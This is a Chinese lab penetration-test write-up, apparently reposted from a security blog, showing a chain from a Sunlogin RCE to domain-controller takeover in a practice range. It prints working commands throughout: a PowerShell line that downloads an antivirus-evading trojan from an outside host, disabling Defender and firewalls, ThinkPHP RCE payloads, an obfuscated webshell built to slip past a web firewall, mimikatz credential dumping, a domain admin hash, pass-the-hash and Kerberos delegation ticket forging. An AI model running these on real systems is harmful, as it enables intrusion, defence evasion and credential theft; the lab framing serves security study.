靶场|宝塔绕过+约束委派=获取域控

admin 2025年5月18日20:24:28评论0 views字数 3748阅读12分29秒阅读模式

靶场拓扑:

靶场|宝塔绕过+约束委派=获取域控

复现过程:

靶场|宝塔绕过+约束委派=获取域控

VM虚拟机搭建好后ping不通外网主机,开了防火墙这里利用goby扫全端口出来一个49685端口,访问试试

靶场|宝塔绕过+约束委派=获取域控

访问后显示Verification failure 这里判断可能存在向日葵客户端,尝试利用Exp:https://github.com/Mr-xn/sunlogin_rce

命令:xrkRce.exe -h 192.168.1.78 -t rce -p 49685 -c "whoami"

靶场|宝塔绕过+约束委派=获取域控

可以执行命令后先把防火墙关了:netsh firewall set opmode mode=disable

靶场|宝塔绕过+约束委派=获取域控

执行进程查看命令均失败可能存在杀软,进程也查看不了

靶场|宝塔绕过+约束委派=获取域控

这里利用一条命令:xrkRce.exe -h 192.168.1.78 -t rce -p 49848 -c "powershell ( new-object System.Net.WebClient).DownloadFile( 'http://IP/x64.exe' , 'C:UsersAdministratorx.exe' )"

把vps上的x.exe下载到指定目录下,注意马子需要做免杀

靶场|宝塔绕过+约束委派=获取域控

这里看到能直接下载下来我们的马子到目标电脑上了

靶场|宝塔绕过+约束委派=获取域控

执行命令成功上线cs,针对杀软还有一种思路,直接关闭defender

靶场|宝塔绕过+约束委派=获取域控

执行:reg add "HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f 这条命令会报错原因是这里的双影号被闭合掉了,换一条命令直接能执行成功,命令如下:set-MpPreference -DisableRealtimeMonitoring $true

因为中间环境出了问题,直接反弹到msf开代理扫内网c段

靶场|宝塔绕过+约束委派=获取域控

这里是直接没有扫出来然后换思路,信息收集发现主机上存在的测试地址想着利用host碰撞

靶场|宝塔绕过+约束委派=获取域控

脚本地址:https://github.com/fofapro/Hosts_scan

命令:proxychains python3 IP_hosts_scan.py

这里成功访问到了www.cJO6w10YLS.com这个域名内,本地配置代理和host头访问

靶场|宝塔绕过+约束委派=获取域控

然后尝试弱口令没有进去想着会不会有sql注入也尝试了一下也不行

靶场|宝塔绕过+约束委派=获取域控

读了一下源码发现form表单未向后端传输数据,可见这里是一个假的login页面

靶场|宝塔绕过+约束委派=获取域控

在落地机火狐浏览器访问历史记录内发现/vulntarget/public目录本地尝试访问

靶场|宝塔绕过+约束委派=获取域控

thinkphp 5.0框架存在远程命令执行,尝试利用很多个rce payload都不行然后不是被上墙就是被拦截

靶场|宝塔绕过+约束委派=获取域控

然后换了个payload打过去显示出了宝塔的拦截页面

靶场|宝塔绕过+约束委派=获取域控

再打就上黑名单直接拉黑处理,当时头都大了

靶场|宝塔绕过+约束委派=获取域控

常见payload:?s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

由于这个system函数被禁用了执行不了命令然后尝试绕过宝塔

靶场|宝塔绕过+约束委派=获取域控
由于public这个目录一直显示权限不够想着可能是没有写入权限,那就多加个../写到上级根目录里面去,利用file_put_contents这个函数来写shell
payload:s=index/thinkapp/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../../12345.php&vars[1][1]=<?php $poc ="axsxsxexrxt";$poc_1 = explode("x", $poc); $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3].$poc_1[4].$poc_1[5];$poc_2(urldecode(urldecode(urldecode($_REQUEST['12345']))));
靶场|宝塔绕过+约束委派=获取域控

这里对phpinfo()编码后一直执行不了命令,那直接写一个phpinfo上去看看

靶场|宝塔绕过+约束委派=获取域控

其实也没什么太大问题,那接下来就是getshell了,写上去一个马

马子内容:<?php @eval(base64_decode($_POST[mr6]));?>

利用蚁剑加载编码器:'user strict'; module.exports = (pwd, data, ext={}) => { data[pwd] = Buffer.from(data['']).toString('base64'); delete data['']; return data; }

客户端再做个body体伪造:

靶场|宝塔绕过+约束委派=获取域控

然后才算是成功getshell

靶场|宝塔绕过+约束委派=获取域控

尝试命令执行发现禁用了命令,前期看到的php版本是7.0以上,这里直接用宝塔自带的插件绕过,成功执行命令

然后在/home/vulntarget 目录下发现一个key可能是root的,这里直接拖下来尝试连接

用户名:root  密码为空

靶场|宝塔绕过+约束委派=获取域控

然后回头做一下信息收集,本来想cs直接读hash的这里尝试一种新方法

靶场|宝塔绕过+约束委派=获取域控

利用Procdump工具把主机hash文件下载下来拖到本地利用mimikatz解密,解密后这里获取到了两个账户明文密码

Linux上线有很多畸形方法,前面root用户的key已经拿到直接可以关闭linux防火墙策略然后正向,反向shell都没问题,这里还是按照老路子来走

一开始想的是做msf正向连接但是都不行,尝试反弹shell也不行,做一下端口出网探测

软件地址:https://github.com/FunnyWolf/TFirewall

靶场|宝塔绕过+约束委派=获取域控

win2016上传一个tfs_windows_amd64.exe,ubuntu上传一个tfc_linux_386,注意文件大小然后win16上使用命令:tfs_windows_amd64.exe check 100-200

ubuntu上使用命令:./tfc_linux_386 check 192.168.100.155 100-200

靶场|宝塔绕过+约束委派=获取域控

这里可以看到113 119端口出网,尝试反弹shell上线

靶场|宝塔绕过+约束委派=获取域控

然后这里成功上线linux这台主机,然后进行内网信息收集

ifconfig发现存在88网段

添加路由扫内网:run autoroute -s 192.168.88.1/24

查看路由信息:run post/multi/manage/autoroute

靶场|宝塔绕过+约束委派=获取域控

前面的扫内网模块一直不通这里直接读linux缓存,信息收集出来两个IP地址,129和254

使用:use auxiliary/server/socks_proxy  

开出来一条代理然后goby上直接扫端口,一开始这样是不行的因为这里开了iptables规则,这里自己添加一条出网规则或者放行所有端口:

iptables -A INPUT -j ACCEPT iptables -A OUTPUT -j ACCEPT

靶场|宝塔绕过+约束委派=获取域控

上传fscan 到ubuntu上面扫c段,测试存活192.168.88.129

靶场|宝塔绕过+约束委派=获取域控

命令探测smb:./fscan_amd64 -h 192.168.88.129 -m smb

靶场|宝塔绕过+约束委派=获取域控

利用wmiexec.py登陆指定服务器,命令:python3 wmiexec.py 'administrator:admin@[email protected]'

靶场|宝塔绕过+约束委派=获取域控

然后上来检测一下杀软准备上线cs

靶场|宝塔绕过+约束委派=获取域控

没有杀软进程且用户权限为管理员权限,直接powshell上线cs,本地信息收集发现存在域环境且有10网段

靶场|宝塔绕过+约束委派=获取域控

先定位域控IP地址,直接ping域名或者和域控同步时间

靶场|宝塔绕过+约束委派=获取域控

现在确定了域控IP,尝试抓本地hash

靶场|宝塔绕过+约束委派=获取域控

域管hash:2fbbf192edbdf90700220cb6a6caf4a2

这里可以利用mimikatz来抓或者cs插件来读取hash,拿去解密发现解不出来,接着尝试哈希传递

靶场|宝塔绕过+约束委派=获取域控

这里开一条代理然后尝试wmiexec传递hash,命令:python3 wmiexec.py -hashes:2fbbf192edbdf90700220cb6a6caf4a2 vulntargrt/[email protected] "ipconfig"

利用约束委派来打一下

1.tgt伪造:

tgt::ask /user:win2008 /domain:vulntarget.com /password:qweASD123 /ticket:ash.kirbi

2.cifs协议伪造

tgs::s4u /tgt:[email protected][email protected]/user:[email protected] /service:cifs/WIN-1PV25H8UJPN.vulntarget.com

3.票据导入

kerberos::ptt [email protected]@VULNTARGET.COM_cifs~WIN-1PV25H8UJPN.vulntarget.com@VULNTARGET.COM.kirbi

4.dir | net user 都可以使用了

靶场|宝塔绕过+约束委派=获取域控

原文为2022年所写,如有纰漏烦请斧正!

原文始发于微信公众号(梅苑安全):靶场|宝塔绕过+约束委派=获取域控

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月18日20:24:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   靶场|宝塔绕过+约束委派=获取域控https://cn-sec.com/archives/4076491.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息